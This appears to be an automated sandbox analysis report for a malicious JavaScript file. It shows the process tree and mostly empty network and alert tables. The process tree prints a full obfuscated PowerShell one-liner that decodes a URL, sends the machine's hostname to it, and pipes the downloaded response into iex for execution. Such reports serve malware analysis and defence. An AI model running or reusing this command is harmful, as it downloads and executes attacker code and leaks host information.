BLNR1389.js| Category | Machine | Started | Completed |
|---|---|---|---|
| FILE | s1_win7_x6402 | May 26, 2023, 8:12 p.m. | May 26, 2023, 8:14 p.m. |
-
wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\BLNR1389.js
3004 -
conhost.exe conhost --headless powershell @(6242,6254,6254,6250,6196,6185,6185,6253,6238,6240,6249,6253,6184,6240,6255,6248,6185,6252,6254,6184,6250,6242,6250,6201,6243,6199)|foreach{$vjpcyh=$vjpcyh+[char]($_-6138)};$jhgomz='l';$tgz=$(hostname);new-alias trys cur$jhgomz;.$([char](7892-7787)+'ex')(trys -useb "$vjpcyh$tgz")
2188
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| No hosts contacted. | ||
| IP Address | Status | Action |
|---|---|---|
| 164.124.101.2 | Active | Moloch |
Suricata Alerts
No Suricata Alerts
Suricata TLS
No Suricata TLS